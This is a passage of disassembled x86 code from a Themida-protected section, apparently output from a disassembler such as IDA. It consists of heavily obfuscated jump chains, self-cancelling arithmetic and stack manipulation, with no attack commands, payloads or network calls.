		add	ebx, 1
		push	7721h
		jmp	loc_5AB35D
; ---------------------------------------------------------------------------


loc_5A882F:				; CODE XREF: Themida_:005AAEE2j
		mov	[esp], edx
		push	60A7h
		mov	[esp], esp
		jmp	loc_5A5C6E
; ---------------------------------------------------------------------------


loc_5A883F:				; CODE XREF: Themida_:005A0CC2j
		push	dx
		push	ecx
		push	eax
		mov	al, 91h
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dh, al
		mov	bh, dh
		pop	edx
		mov	cl, bh
		pop	ebx
		pop	eax
		jmp	loc_5A1DD8
; ---------------------------------------------------------------------------


loc_5A885A:				; CODE XREF: Themida_:0059B21Ej
		and	al, 7
		inc	al
		not	al
		add	al, 13h
		xor	cl, al
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 64h
		sub	dh, 96h
		add	cl, dh
		mov	edx, [esp]
		jmp	loc_59F081
; ---------------------------------------------------------------------------


loc_5A887D:				; CODE XREF: Themida_:0059F7F0j
		pop	ebp
		sub	edx, ecx
		jmp	loc_5A542D
; ---------------------------------------------------------------------------


loc_5A8885:				; CODE XREF: Themida_:005A7728j
		add	ecx, 1321064Bh
		push	ebx
		push	edi
		mov	edi, 52F12593h
		mov	ebx, edi
		pop	edi
		add	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59934B
; ---------------------------------------------------------------------------


loc_5A88A3:				; CODE XREF: Themida_:0059B0E7j
					; Themida_:0059E895j
		add	edx, ecx
		jmp	loc_598785
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_59FA45
; ---------------------------------------------------------------------------


loc_5A88B2:				; CODE XREF: Themida_:0059FE89j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	[esp+4], ebp
		push	ebp
		mov	ebp, 77DB2FB3h
		sub	[esp+8], ebp
		pop	ebp
		jmp	loc_5A5CCD
; ---------------------------------------------------------------------------


loc_5A88CD:				; CODE XREF: Themida_:0059EF13j
		neg	ebx
		xchg	ebx, edx
		and	edx, 105539BEh
		jmp	loc_5AA9B6
; ---------------------------------------------------------------------------


loc_5A88DC:				; CODE XREF: Themida_:0059D86Cj
		pop	esi
		mov	eax, 241E6A50h
		xor	eax, ebp
		pop	ebp
		dec	eax
		jp	loc_5A026A
		jmp	loc_5AECA8
; ---------------------------------------------------------------------------


loc_5A88F1:				; CODE XREF: Themida_:00599941j
		add	ebx, 504C0EB8h
		jnb	loc_59BF0D
		add	ebx, 70FFFAEDh
		mov	eax, ebx
		pop	ebx
		jmp	loc_59FB59
; ---------------------------------------------------------------------------


loc_5A890B:				; CODE XREF: Themida_:005AB1B5j
		pop	ebp
		mov	ebp, 42F64D5Eh
		sub	ebp, edx
		mov	edx, [esp]
		jmp	loc_5AD945
; ---------------------------------------------------------------------------


loc_5A891B:				; CODE XREF: Themida_:005A2B12j
		push	639F7EDBh
		pop	eax
		jmp	loc_5ABF4A
; ---------------------------------------------------------------------------


loc_5A8926:				; CODE XREF: Themida_:005A0E1Cj
		sub	edx, ebx
		jmp	loc_5AD296
; ---------------------------------------------------------------------------


loc_5A892D:				; CODE XREF: Themida_:005AAD78j
		mov	ebp, edx
		pop	edx
		dec	ebp
		jg	loc_5A9F89
		xor	ebp, 5C956FBEh
		jmp	loc_59F1E6
; ---------------------------------------------------------------------------


loc_5A8942:				; CODE XREF: Themida_:005A8046j
		push	ebp
		jmp	loc_59CABE
; ---------------------------------------------------------------------------


loc_5A8948:				; CODE XREF: Themida_:005AB9D1j
		sub	esi, 0A75E9B69h
		sub	edi, esi
		pop	esi
		add	edx, 7AF01FEh
		add	edx, edi
		sub	edx, 7AF01FEh
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_59CE1A
; ---------------------------------------------------------------------------


loc_5A896B:				; CODE XREF: Themida_:005A0D74j
		add	eax, 4
		push	esi
		mov	esi, 2
		jmp	loc_5A44CC
; ---------------------------------------------------------------------------


loc_5A897B:				; CODE XREF: Themida_:0059E660j
		sub	ebx, 36312951h
		push	3D6Eh
		jmp	loc_5A7012
; ---------------------------------------------------------------------------


loc_5A898B:				; CODE XREF: Themida_:0059BE87j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	eax, 759A7A3Eh
		sub	eax, 1D7627EEh
		sub	eax, ecx
		push	edx
		jmp	loc_5AECF7
; ---------------------------------------------------------------------------


loc_5A89A4:				; CODE XREF: Themida_:005AACD3j
					; Themida_:005AC084j
		add	esi, 4
		jmp	loc_5AAB0D
; ---------------------------------------------------------------------------


loc_5A89AF:				; CODE XREF: Themida_:0059B2BAj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		pop	ebp
		sub	eax, 543F45E0h
		sub	eax, edx
		push	esi
		mov	esi, 68F11F4Ah
		jmp	loc_5A33C0
; ---------------------------------------------------------------------------


loc_5A89D2:				; CODE XREF: Themida_:00599671j
		mov	[esp], bx
		jmp	loc_5A49BB
; ---------------------------------------------------------------------------


loc_5A89DB:				; CODE XREF: Themida_:0059BD6Ej
		neg	dh
		xchg	dh, bh
		neg	bh
		push	ax
		mov	al, 5Dh
		jmp	loc_5AB463
; ---------------------------------------------------------------------------


loc_5A89EA:				; CODE XREF: Themida_:0059C97Ej
					; Themida_:005AA2C5j
		add	bl, al
		mov	eax, [esp]
		jmp	loc_5A0F04
; ---------------------------------------------------------------------------


loc_5A89F4:				; CODE XREF: Themida_:005A2D48j
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edi, esi
		pop	esi
		add	ebx, 18B8444Ah
		jmp	loc_59FA53
; ---------------------------------------------------------------------------


loc_5A8A0D:				; CODE XREF: Themida_:005AD041j
		add	ebp, edi
		jmp	loc_599115
; ---------------------------------------------------------------------------


loc_5A8A14:				; CODE XREF: Themida_:005AE7DEj
		mov	edi, ecx
		pop	ecx
		sub	eax, 53773DBCh
		add	eax, 6DD23CA8h
		sub	eax, 237A695Fh
		add	eax, edi
		add	eax, 237A695Fh
		sub	eax, 6DD23CA8h
		add	eax, 53773DBCh
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5A6763
; ---------------------------------------------------------------------------


loc_5A8A48:				; CODE XREF: Themida_:005AD737j
		mov	[esp], edx
		mov	edx, 4
		push	edx
		mov	edx, 0D380315h
		or	edx, 76B1C11h
		dec	edx
		shl	edx, 7
		xor	edx, 0D5A5B01Ch
		jmp	loc_59DE67
; ---------------------------------------------------------------------------


loc_5A8A6B:				; CODE XREF: Themida_:loc_5A4E69j
		xor	edx, 13C846F9h
		jp	loc_5ADC74
		jmp	loc_5A5559
; ---------------------------------------------------------------------------


loc_5A8A7C:				; CODE XREF: Themida_:0059AB2Bj
		mov	edx, 0BD965AEh
		jmp	loc_59DEA6
; ---------------------------------------------------------------------------


loc_5A8A86:				; CODE XREF: Themida_:005A701Cj
		mov	ebx, 6C4C5F69h
		jmp	loc_59BEB9
; ---------------------------------------------------------------------------


loc_5A8A90:				; CODE XREF: Themida_:005AB358j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	57D7h
		mov	[esp], edi
		jmp	loc_5AB57F
; ---------------------------------------------------------------------------


loc_5A8AA4:				; CODE XREF: Themida_:005A03D3j
		not	edi
		add	edi, 31E038D4h
		sub	edi, 0C8A71472h
		mov	ecx, edi
		jmp	loc_5A1AA8
; ---------------------------------------------------------------------------


loc_5A8AB9:				; CODE XREF: Themida_:005AA745j
		pop	esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5A7C8F
; ---------------------------------------------------------------------------


loc_5A8AC7:				; CODE XREF: Themida_:0059FC96j
					; Themida_:005A6AE7j ...
		mov	eax, [esp]
		add	esp, 4
		add	bl, ch
		pop	ecx
		jmp	loc_59C974
; ---------------------------------------------------------------------------


loc_5A8AD8:				; CODE XREF: Themida_:005A4B09j
		add	ebx, 180241C0h
		mov	esi, ebx
		pop	ebx
		add	esi, 7B757AEh
		jnb	loc_59D88E
		jmp	loc_5AA17D
; ---------------------------------------------------------------------------
		mov	esi, esp
		push	ecx
		push	4
		pop	ecx
		push	edi


loc_5A8AFC:				; CODE XREF: Themida_:0059F471j
		pop	bx
		and	dl, cl
		jmp	loc_5A68F8
; ---------------------------------------------------------------------------


loc_5A8B05:				; CODE XREF: Themida_:005AE123j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5AC759
; ---------------------------------------------------------------------------


loc_5A8B1A:				; CODE XREF: Themida_:005A2336j
		add	eax, 7FDE0B5Fh
		jmp	loc_5AD0BC
; ---------------------------------------------------------------------------


loc_5A8B24:				; CODE XREF: Themida_:0059FA6Ej
		push	ax
		pushf
		jmp	loc_5AA941
; ---------------------------------------------------------------------------


loc_5A8B2C:				; CODE XREF: Themida_:005A9AC1j
		add	esi, 0FFFFFFFFh
		jmp	loc_5984A1
; ---------------------------------------------------------------------------


loc_5A8B34:				; CODE XREF: Themida_:loc_5A7F0Ej
		shr	ebp, 3
		sub	ebp, 84AF2740h
		sub	dword ptr [esp+4], 40FC14DFh
		sub	dword ptr [esp+4], 0DF910DFh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 0DF910DFh
		jmp	loc_59B762
; ---------------------------------------------------------------------------


loc_5A8B5E:				; CODE XREF: Themida_:005AD7FBj
		sub	ebx, 33B94023h
		mov	eax, [esp]
		jmp	loc_5A87F5
; ---------------------------------------------------------------------------


loc_5A8B6C:				; CODE XREF: Themida_:005AC6EDj
		pop	esi
		jmp	loc_5A431E
; ---------------------------------------------------------------------------


loc_5A8B72:				; CODE XREF: Themida_:0059D3E9j
		mov	[esp], edx
		jmp	loc_5A18FD
; ---------------------------------------------------------------------------


loc_5A8B7A:				; CODE XREF: Themida_:005ABD54j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	6353h
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	20A0h
		jmp	loc_5AE2B9
; ---------------------------------------------------------------------------


loc_5A8BAA:				; CODE XREF: Themida_:005A0E39j
		pop	ebp
		push	613Fh
		mov	[esp], ebx
		push	4F792D9Fh
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A7AA9
; ---------------------------------------------------------------------------


loc_5A8BD3:				; CODE XREF: Themida_:0059AFBBj
		pop	ebx
		xor	ch, 1Ah
		shl	ch, 3
		jmp	loc_5A1255
; ---------------------------------------------------------------------------


loc_5A8BDF:				; CODE XREF: Themida_:0059BBE0j
		add	ebp, 5AE02665h
		add	ebp, esi
		sub	ebp, 5AE02665h
		add	ebp, 2BEC54A2h
		mov	esi, [esp]
		jmp	loc_5A7075
; ---------------------------------------------------------------------------


loc_5A8BFB:				; CODE XREF: Themida_:005A4708j
		add	ebx, 2FA51F94h
		jmp	loc_5AE397
; ---------------------------------------------------------------------------


loc_5A8C06:				; CODE XREF: Themida_:005ADEA7j
		jmp	loc_5AED0C
; ---------------------------------------------------------------------------


loc_5A8C0B:				; CODE XREF: Themida_:005AE930j
		pop	ebp
		push	7A31h
		mov	[esp], ecx
		jmp	loc_5A0E00
; ---------------------------------------------------------------------------


loc_5A8C19:				; CODE XREF: Themida_:005A3961j
		pop	ecx
		jmp	loc_59D531
; ---------------------------------------------------------------------------


loc_5A8C1F:				; CODE XREF: Themida_:005AD9D0j
		xor	ebp, ebx
		jmp	loc_5ADA6F
; ---------------------------------------------------------------------------


loc_5A8C26:				; CODE XREF: Themida_:0059DF76j
		push	bx
		mov	bh, 0E5h
		sub	al, 7Ah
		sub	al, bh
		add	al, 7Ah
		pop	bx
		jmp	loc_5A0AEF
; ---------------------------------------------------------------------------


loc_5A8C37:				; CODE XREF: Themida_:0059A439j
		mov	eax, esp
		push	esi
		jmp	loc_5A69C0
; ---------------------------------------------------------------------------


loc_5A8C3F:				; CODE XREF: Themida_:0059BFD7j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5A4037
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		jmp	loc_59BF4D
; ---------------------------------------------------------------------------


loc_5A8C5C:				; CODE XREF: Themida_:0059E264j
		mov	eax, 57F4320Dh
		shr	eax, 8
		push	edx
		mov	edx, 3CF6256Ch
		shr	edx, 8
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		jmp	loc_59A2D4
; ---------------------------------------------------------------------------


loc_5A8C78:				; CODE XREF: Themida_:0059D2E5j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	6941h
		mov	[esp], edx
		mov	ebx, [esp]
		jmp	loc_5A57BB
; ---------------------------------------------------------------------------
		mov	eax, 0DA91742h
		jmp	loc_5AE008
; ---------------------------------------------------------------------------


loc_5A8C9E:				; CODE XREF: Themida_:loc_5A01D4j
		add	edi, 1AF1251h
		jb	loc_5A2C28
		add	edi, 32A358B0h
		mov	ecx, edi
		pop	edi
		jmp	loc_59D520
; ---------------------------------------------------------------------------


loc_5A8CB8:				; CODE XREF: Themida_:005A2C42j
		push	3781h
		mov	[esp], eax
		mov	al, 0E5h
		xor	al, 4Fh
		xor	dl, al
		pop	eax
		sub	al, dl
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		pop	eax
		sub	bl, ch
		sub	bl, 69h
		mov	ecx, [esp]
		jmp	loc_5A2EDB
; ---------------------------------------------------------------------------


loc_5A8CDF:				; CODE XREF: Themida_:005A04ECj
		dec	edx
		jge	loc_59C27F
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 21747A9Fh
		pop	esi


loc_5A8CF2:				; CODE XREF: Themida_:005AE6A0j
		add	ecx, 1CD011A9h
		jmp	loc_5A7925
; ---------------------------------------------------------------------------


loc_5A8CFD:				; CODE XREF: Themida_:005A4032j
		add	dh, 6Ch
		or	dh, 6Fh
		jmp	loc_5A67DF
; ---------------------------------------------------------------------------


loc_5A8D08:				; CODE XREF: Themida_:005A0951j
		dec	ebp
		jo	loc_5A827A
		or	ebp, 0DF93974h
		jp	loc_5AAE15
		neg	ebp
		jmp	loc_59E6F3
; ---------------------------------------------------------------------------


loc_5A8D22:				; CODE XREF: Themida_:00598C51j
		mov	ebx, esp
		push	ecx
		mov	ecx, 0CB70481h
		shr	ecx, 5
		xor	ecx, 0B1140CFh
		jmp	loc_5A962F
; ---------------------------------------------------------------------------


loc_5A8D38:				; CODE XREF: Themida_:0059AC1Fj
		or	ah, 4Ch
		dec	ah
		jmp	loc_5A24AA
; ---------------------------------------------------------------------------


loc_5A8D42:				; CODE XREF: Themida_:005A7E43j
		add	eax, 63CE10EBh
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ecx, 195C1C62h
		add	ecx, eax
		add	ecx, 195C1C62h
		jmp	loc_59CB8A
; ---------------------------------------------------------------------------


loc_5A8D70:				; CODE XREF: Themida_:005A90B0j
		sub	eax, 6E231FFDh
		jmp	loc_5A9E91
; ---------------------------------------------------------------------------


loc_5A8D7A:				; CODE XREF: Themida_:005ABDB4j
		mov	edi, 70FF4897h
		dec	edi
		dec	edi
		xchg	esi, edi
		not	esi
		jmp	loc_59F53A
; ---------------------------------------------------------------------------


loc_5A8D8A:				; CODE XREF: Themida_:0059FF51j
		add	edx, 4
		jmp	loc_5AB6E0
; ---------------------------------------------------------------------------


loc_5A8D92:				; CODE XREF: Themida_:00599F6Fj
		add	ecx, 4064F20h
		sub	ebx, ecx
		pop	ecx
		add	ebx, 4636CEAh
		add	ebx, 34C71364h
		jmp	loc_5A59C1
; ---------------------------------------------------------------------------


loc_5A8DAC:				; CODE XREF: Themida_:005A86D8j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		sub	dword ptr [esp], 6D3370Ah
		jmp	loc_5ACD9C
; ---------------------------------------------------------------------------


loc_5A8DC3:				; CODE XREF: Themida_:005A8686j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A84FB
; ---------------------------------------------------------------------------


loc_5A8DDE:				; CODE XREF: Themida_:005A962Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A4128
; ---------------------------------------------------------------------------


loc_5A8DF2:				; CODE XREF: Themida_:0059F76Ej
		or	ebp, 27769D9h
		inc	ebp
		push	edi
		jmp	loc_5A9393
; ---------------------------------------------------------------------------


loc_5A8DFF:				; CODE XREF: Themida_:005A00F4j
		add	eax, ecx
		sub	eax, 2DDE3A56h
		jmp	loc_5A3E6E
; ---------------------------------------------------------------------------


loc_5A8E0B:				; CODE XREF: Themida_:005A7EB1j
					; Themida_:005ABF75j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	bl, ch
		pop	cx
		add	bl, al
		jmp	loc_59A5D1
; ---------------------------------------------------------------------------


loc_5A8E1F:				; CODE XREF: Themida_:005A94B8j
		pop	ebx
		jmp	loc_5AB72B
; ---------------------------------------------------------------------------


loc_5A8E25:				; CODE XREF: Themida_:005A6F57j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_598CED
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A8E40:				; CODE XREF: Themida_:005AB67Cj
		sub	eax, edx
		add	eax, 70967471h
		add	eax, 57C97726h
		push	dword ptr [esp]
		jmp	loc_5A6E03
; ---------------------------------------------------------------------------


loc_5A8E54:				; CODE XREF: Themida_:005A4893j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	eax
		mov	eax, 4
		jmp	loc_5A2F64
; ---------------------------------------------------------------------------


loc_5A8E67:				; CODE XREF: Themida_:0059CAB9j
		mov	edx, 4
		mov	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	3A32h
		mov	[esp], ebp
		mov	ebp, 25A66774h
		add	edi, 555368A9h
		sub	edi, ebp
		sub	edi, 555368A9h
		pop	ebp
		add	edi, 606070B4h
		add	edi, ebp
		sub	edi, 606070B4h
		add	edi, 25A66774h
		jmp	loc_5A30AD
; ---------------------------------------------------------------------------


loc_5A8EAE:				; CODE XREF: Themida_:0059A150j
		push	esp
		jmp	loc_5A0627
; ---------------------------------------------------------------------------


loc_5A8EB4:				; CODE XREF: Themida_:005AC8C7j
		push	edi
		mov	edi, 7DFF6A63h
		sub	eax, edi
		pop	edi
		mov	edi, eax
		jmp	loc_5A1313
; ---------------------------------------------------------------------------


loc_5A8EC4:				; CODE XREF: Themida_:005A221Cj
		push	ecx
		mov	ecx, esp
		jmp	loc_59D27F
; ---------------------------------------------------------------------------


loc_5A8ECC:				; CODE XREF: Themida_:005AAD1Dj
		shr	ebx, 6
		add	ebx, 0FFFFFFFFh
		inc	ebx
		or	ebx, 40473746h
		xor	ebx, 45D6426Dh
		sub	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 55F37F8Bh
		push	ebp
		mov	ebp, 1160612h
		or	edi, ebp
		pop	ebp
		shl	edi, 4
		push	eax
		mov	eax, 51D3A76h
		sub	edi, eax
		jmp	loc_59CFF8
; ---------------------------------------------------------------------------


loc_5A8F01:				; CODE XREF: Themida_:005A2F9Dj
		sub	ecx, 3D244A92h
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_5A3EFE
; ---------------------------------------------------------------------------


loc_5A8F20:				; CODE XREF: Themida_:005987EFj
		shr	eax, 4
		add	eax, 5BF11713h
		mov	ebp, eax
		pop	eax
		jmp	loc_5A4911
; ---------------------------------------------------------------------------


loc_5A8F30:				; CODE XREF: Themida_:0059CA98j
		xor	ch, bh
		pop	ebx
		jmp	loc_5A7C52
; ---------------------------------------------------------------------------


loc_5A8F38:				; CODE XREF: Themida_:005ABF94j
		pop	ecx
		jmp	loc_59A1E2
; ---------------------------------------------------------------------------


loc_5A8F3E:				; CODE XREF: Themida_:005A2E27j
		push	small 587Ah
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A8F52:				; CODE XREF: Themida_:005A1A92j
		mov	[esp], ecx
		jmp	loc_5A29DB
; ---------------------------------------------------------------------------


loc_5A8F5A:				; CODE XREF: Themida_:0059EFD6j
		add	ebp, esi
		sub	ebp, 62806056h
		mov	esi, [esp]
		push	ebp
		jmp	loc_5A82DE
; ---------------------------------------------------------------------------


loc_5A8F6B:				; CODE XREF: Themida_:0059CB79j
		sub	dh, 40h
		dec	dh
		push	ecx
		jmp	loc_5A2C47
; ---------------------------------------------------------------------------


loc_5A8F76:				; CODE XREF: Themida_:005A3E0Cj
		add	eax, ebx
		pop	ebx
		add	eax, 276F147Eh
		sub	eax, 0EF47C142h
		and	ebx, eax
		jmp	loc_5A9A4A
; ---------------------------------------------------------------------------


loc_5A8F8A:				; CODE XREF: Themida_:0059B24Dj
					; Themida_:005A6729j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, 1A3F044Bh
		jmp	loc_5ABD91
; ---------------------------------------------------------------------------


loc_5A8F9D:				; CODE XREF: Themida_:005A39C8j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_59D4DB
; ---------------------------------------------------------------------------


loc_5A8FCB:				; CODE XREF: Themida_:005A420Ej
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	951h
		jmp	loc_59922A
; ---------------------------------------------------------------------------


loc_5A8FDE:				; CODE XREF: Themida_:005A52C0j
		or	ah, 46h
		ja	loc_59FBB2
		jmp	loc_5A7E80
; ---------------------------------------------------------------------------
		push	esp
		pop	edi
		add	edi, 4
		sub	al, 0FFh


loc_5A8FF6:				; CODE XREF: Themida_:loc_5AF07Bj
		shr	bh, 4
		xor	bh, 9Ah
		jnz	loc_5A34F4
		jmp	loc_59F589
; ---------------------------------------------------------------------------
		jmp	loc_5A2439
; ---------------------------------------------------------------------------
		pop	esp


loc_5A900D:				; CODE XREF: Themida_:0059E2BBj
		pop	ebx
		add	esi, 4
		jmp	loc_5AE19A
; ---------------------------------------------------------------------------


loc_5A9016:				; CODE XREF: Themida_:0059D7EDj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_59E5D0
; ---------------------------------------------------------------------------


loc_5A9028:				; CODE XREF: Themida_:005997D2j
		mov	ebp, 673D0009h
		dec	ebp
		push	esi
		mov	esi, 69E3508Eh
		xor	ebp, esi
		pop	esi
		and	ebp, 64951675h
		xor	ebp, 174E349Ch
		push	eax
		mov	eax, ebp
		mov	edx, eax
		jmp	loc_5A0D79
; ---------------------------------------------------------------------------


loc_5A904D:				; CODE XREF: Themida_:005ABE94j
		add	ebp, 133FCD81h
		push	ebx
		push	eax
		mov	eax, 3A5A4A9Fh
		jmp	loc_599E92
; ---------------------------------------------------------------------------


loc_5A905F:				; CODE XREF: Themida_:0059F83Ej
		pop	eax
		jmp	loc_5AF013
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A9075:				; CODE XREF: Themida_:005A3A44j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59A555
; ---------------------------------------------------------------------------


loc_5A9080:				; CODE XREF: Themida_:005A22D7j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AD4DB
; ---------------------------------------------------------------------------


loc_5A9089:				; CODE XREF: Themida_:005AC006j
		jmp	loc_5AB55D
; ---------------------------------------------------------------------------


loc_5A908E:				; CODE XREF: Themida_:005A0AE4j
					; Themida_:005A352Cj
		pop	edx
		jmp	loc_5A78DB
; ---------------------------------------------------------------------------


loc_5A9094:				; CODE XREF: Themida_:0059E323j
					; Themida_:005A9CB1j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		push	77A7h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A8D70
; ---------------------------------------------------------------------------


loc_5A90B5:				; CODE XREF: Themida_:005A3FB6j
		shr	ebp, 4
		xor	ebp, 5D270EBEh
		add	eax, ebp
		pop	ebp
		jmp	loc_5AF431
; ---------------------------------------------------------------------------


loc_5A90C6:				; CODE XREF: Themida_:0059E992j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_5AED3E
; ---------------------------------------------------------------------------


loc_5A90DC:				; CODE XREF: Themida_:005A767Dj
		mov	edx, [esp]
		add	esp, 4
		add	al, 0A7h
		add	al, dl
		sub	al, 0A7h
		push	ecx
		jmp	loc_599AEA
; ---------------------------------------------------------------------------


loc_5A90F1:				; CODE XREF: Themida_:005A4BFFj
		push	eax
		push	edx
		mov	edx, 4
		push	1F56h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 7ED41C1Fh
		jmp	loc_5A0CF7
; ---------------------------------------------------------------------------


loc_5A9111:				; CODE XREF: Themida_:005A685Bj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	al, 9Bh
		sub	al, dl
		add	al, 9Bh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ecx
		push	eax
		jmp	loc_5AA0AC
; ---------------------------------------------------------------------------


loc_5A912F:				; CODE XREF: Themida_:005A0005j
					; Themida_:005A52DAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5AD705
; ---------------------------------------------------------------------------


loc_5A913A:				; CODE XREF: Themida_:0059AEA9j
		mov	esi, 4
		jmp	loc_5A2D8D
; ---------------------------------------------------------------------------


loc_5A9144:				; CODE XREF: Themida_:005A551Cj
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_5AAABF
; ---------------------------------------------------------------------------


loc_5A914D:				; CODE XREF: Themida_:0059F644j
					; Themida_:005A6496j
		jns	loc_5A39AF
		sub	esi, 48E06892h
		jmp	loc_5ABAA8
; ---------------------------------------------------------------------------


loc_5A915E:				; CODE XREF: Themida_:0059A68Ej
					; Themida_:0059C71Aj
		xor	esi, ebp
		pop	ebp
		jmp	loc_598534
; ---------------------------------------------------------------------------


loc_5A9166:				; CODE XREF: Themida_:005A56C1j
		mov	[esp], ebp
		mov	ebp, 3AED3C09h
		not	ebp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5ABF12
; ---------------------------------------------------------------------------


loc_5A9178:				; CODE XREF: Themida_:0059AC80j
					; Themida_:005A538Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A5A32
; ---------------------------------------------------------------------------


loc_5A9190:				; CODE XREF: Themida_:00598888j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A166C
; ---------------------------------------------------------------------------


loc_5A91A1:				; CODE XREF: Themida_:005ADBA6j
		push	edi
		jmp	loc_59AA09
; ---------------------------------------------------------------------------


loc_5A91A7:				; CODE XREF: Themida_:005A03C6j
		mov	ebx, 1E22372Dh
		or	eax, ebx
		jmp	loc_5A3AFB
; ---------------------------------------------------------------------------


loc_5A91B3:				; CODE XREF: Themida_:0059B54Aj
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59C7A1
; ---------------------------------------------------------------------------


loc_5A91C3:				; CODE XREF: Themida_:0059C3CEj
		push	ecx
		push	7B95329Eh
		jmp	loc_5AC710
; ---------------------------------------------------------------------------


loc_5A91CE:				; CODE XREF: Themida_:0059B286j
		dec	esi
		jmp	loc_59923A
; ---------------------------------------------------------------------------


loc_5A91D4:				; CODE XREF: Themida_:005A6CB9j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AEC47
; ---------------------------------------------------------------------------


loc_5A91E3:				; CODE XREF: Themida_:005A9ADEj
		pop	ecx
		add	al, bl
		push	ecx
		mov	cl, 0DAh
		add	cl, 1
		dec	cl
		push	edx
		mov	dh, 0ACh
		inc	dh
		push	0
		sub	[esp], dh
		mov	dh, [esp]
		jmp	loc_5A6381
; ---------------------------------------------------------------------------


loc_5A9203:				; CODE XREF: Themida_:005AF2DFj
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_598822
; ---------------------------------------------------------------------------


loc_5A920E:				; CODE XREF: Themida_:0059DBF8j
		mov	edx, [esp]
		jmp	loc_5AA50A
; ---------------------------------------------------------------------------


loc_5A9216:				; CODE XREF: Themida_:loc_5AE959j
		shr	cl, 1
		jp	loc_5AE1E0
		jmp	loc_598DEB
; ---------------------------------------------------------------------------


loc_5A9223:				; CODE XREF: Themida_:005AB3FBj
		add	esi, eax
		add	esi, 107A3CCAh
		push	eax
		mov	eax, 1CF23BE8h
		sub	esi, eax
		pop	eax
